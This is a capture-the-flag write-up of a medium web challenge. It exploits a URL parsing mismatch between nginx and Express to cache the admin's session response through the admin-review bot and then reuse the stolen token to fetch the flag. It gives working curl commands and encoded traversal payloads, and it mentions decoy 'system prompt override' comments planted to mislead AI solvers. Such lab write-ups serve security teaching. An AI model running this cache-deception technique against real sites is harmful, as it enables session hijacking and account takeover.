SyncSphere — Web Cache Deception via URL Parser Inconsistency
SyncSphere — Web Cache Deception via URL Parser Inconsistency
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-03 | Status: Solved Techniques: admin_bot_cache_priming, path_normalization_desync, proxy_cache_location_matching, session_token_theft, url_encoding_inconsistency, web_cache_deception
Summary
Task: SyncSphere messaging platform behind nginx reverse proxy; nginx caches /share/* paths by raw URI while Express.js normalizes URL-encoded path traversal, creating a cache deception primitive. Solution: craft /share/..%2fapi%2fauth%2fsession URL that nginx caches but Express routes to the session endpoint, use admin bot /report feature to prime cache with admin's session, then steal the admin token and access /api/admin/flag.
SyncSphere — Web Cache Deception via URL Parser Inconsistency — HackAdvisor
Description
SyncSphere is a collaborative messaging platform built by Sphere Digital Inc. Teams use it to create conversation threads, collaborate in real-time, and share discussions publicly via shareable links. The platform features threaded conversations, user profiles, a public sharing system with optimized caching, and a content moderation system where administrators review reported URLs. Your goal is to find a way to access the admin account and retrieve sensitive information. Pay close attention to how the caching layer handles URLs differently from the application server — sometimes what a proxy sees and what the backend processes aren't the same thing.
Credentials: user@test.com / password123
The application is an Express.js (Node.js) app behind an nginx/1.25.5 reverse proxy. The goal is to exploit a URL parser inconsistency between nginx's caching layer and Express's path normalization to steal the admin's session token and retrieve the flag from /api/admin/flag.
Analysis
Reconnaissance
Key endpoints discovered after logging in with user@test.com / password123:
| Endpoint | Cache Status | Purpose |
|---|---|---|
/api/auth/session | BYPASS | Returns JSON with authenticated user info and session token |
/profile | BYPASS | User profile page |
/dashboard | BYPASS | User dashboard showing threads |
/share/{id} | MISS → HIT | Shared conversation pages — cached by nginx |
/report | BYPASS | Admin bot: submits a URL for an administrator to visit and review |
/api/admin/flag | BYPASS | Flag endpoint, requires admin session token |
| |
Decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) were embedded in hidden HTML elements and fake "SYSTEM PROMPT OVERRIDE" comments on every 404 page — correctly identified and ignored as anti-bot honeypots.
Vulnerability: URL Parser Inconsistency (nginx vs Express.js)
The core vulnerability is a desync between how nginx and Express.js parse the same URL:
- nginx matches location blocks against the raw, undecoded URI. The
/share/*location block triggers caching for any URL starting with/share/. - Express.js performs URL decoding and path normalization before routing. It decodes
%2f→/and resolves..path traversal sequences.
This means the URL /share/..%2fapi%2fauth%2fsession:
nginx sees: /share/..%2fapi%2fauth%2fsession
^^^^^^ matches /share/* location → CACHE THIS RESPONSE
Express sees: /share/../api/auth/session
→ normalizes to: /api/auth/session → routes to session endpoint
The result: nginx caches the response from /api/auth/session (which contains the authenticated user's session data) under the cache key for /share/..%2fapi%2fauth%2fsession. Anyone requesting that same URL gets the cached session data — without needing authentication.
URL Tricks That Did NOT Work
| URL Pattern | Result | Why |
|---|---|---|
/api/auth/session/test123.css | 404 | Express doesn't route extra path segments |
/api/auth/session;test.css | 404 | Semicolon not handled as path separator |
/api/auth/session%2Ftest.css | 404 | Same issue after decoding |
/profile/test.css | 404 | No extra path segment routing |
/share%2F..%2Fapi%2Fauth%2Fsession | 200, BYPASS | nginx doesn't match /share/* when the first slash is also encoded |
| |
The key insight: only the %2f (encoded slash) in the path traversal component needs to be encoded — the initial /share/ must use a literal slash so nginx matches the location block.
Solution
Step 1: Confirm the Cache Deception Primitive
First, verify with our own session that the desync works:
bash read-only • copy allowed# Authenticated request — triggers cache MISS, nginx caches the response curl -s -D- -b "session_token=3c0f1b57-4524-48fc-8ac3-e83eefc79d38" \ --path-as-is \ "https://aca86162-a614-47aa-91bf-714ecfdb78d5.labs.hackadvisor.io/share/..%2fapi%2fauth%2fsession" # → X-Cache-Status: MISS # → {"authenticated":true,"user":{"id":2,...},"token":"3c0f1b57-..."} # Unauthenticated request — cache HIT returns the previous user's session! curl -s -D- --path-as-is \ "https://aca86162-a614-47aa-91bf-714ecfdb78d5.labs.hackadvisor.io/share/..%2fapi%2fauth%2fsession" # → X-Cache-Status: HIT # → {"authenticated":true,"user":{"id":2,...},"token":"3c0f1b57-..."}
The cache deception primitive is confirmed: an unauthenticated request returns the cached authenticated session data.
Step 2: Prime the Cache with Admin's Session via Report Bot
The /report endpoint makes an authenticated admin bot visit a user-supplied URL. We submit a cache deception URL with a unique query parameter (to get a fresh cache key):
bash read-only • copy allowedcurl -s -b "session_token=3c0f1b57-4524-48fc-8ac3-e83eefc79d38" \ -X POST \ "https://aca86162-a614-47aa-91bf-714ecfdb78d5.labs.hackadvisor.io/report" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "url=/share/..%252fapi%252fauth%252fsession%3Fr%3Dpwned1777809504&reason=test"
Double encoding note: The form submission URL-decodes the body once, so %252f becomes %2f. The admin bot visits:
/share/..%2fapi%2fauth%2fsession?r=pwned1777809504
The ?r=pwned1777809504 query parameter ensures a unique cache key that won't collide with our earlier test.
Step 3: Retrieve the Cached Admin Session
After the admin bot visits the URL (wait a few seconds), fetch the cached response:
bash read-only • copy allowedcurl -s --path-as-is \ "https://aca86162-a614-47aa-91bf-714ecfdb78d5.labs.hackadvisor.io/share/..%2fapi%2fauth%2fsession?r=pwned1777809504"
Response (X-Cache-Status: HIT):
json read-only • copy allowed{ "authenticated": true, "user": { "id": 1, "username": "admin", "email": "admin@syncsphere.io", "display_name": "System Admin", "role": "admin" }, "token": "c40b7255-8ab5-44d3-b5bb-f64db52a6dee" }
Step 4: Access Admin Dashboard and Find Flag Endpoint
Using the stolen admin session token:
bash read-only • copy allowedcurl -s -b "session_token=c40b7255-8ab5-44d3-b5bb-f64db52a6dee" \ "https://aca86162-a614-47aa-91bf-714ecfdb78d5.labs.hackadvisor.io/dashboard"
Found thread "Internal Admin Notes" (thread 4) containing the message:
"Flag endpoint secured behind admin auth. Token-based access only via /api/admin/flag."
Step 5: Retrieve the Flag
bash read-only • copy allowedcurl -s -b "session_token=c40b7255-8ab5-44d3-b5bb-f64db52a6dee" \ "https://aca86162-a614-47aa-91bf-714ecfdb78d5.labs.hackadvisor.io/api/admin/flag"
json read-only • copy allowed{"flag":"FLAG{REDACTED}"}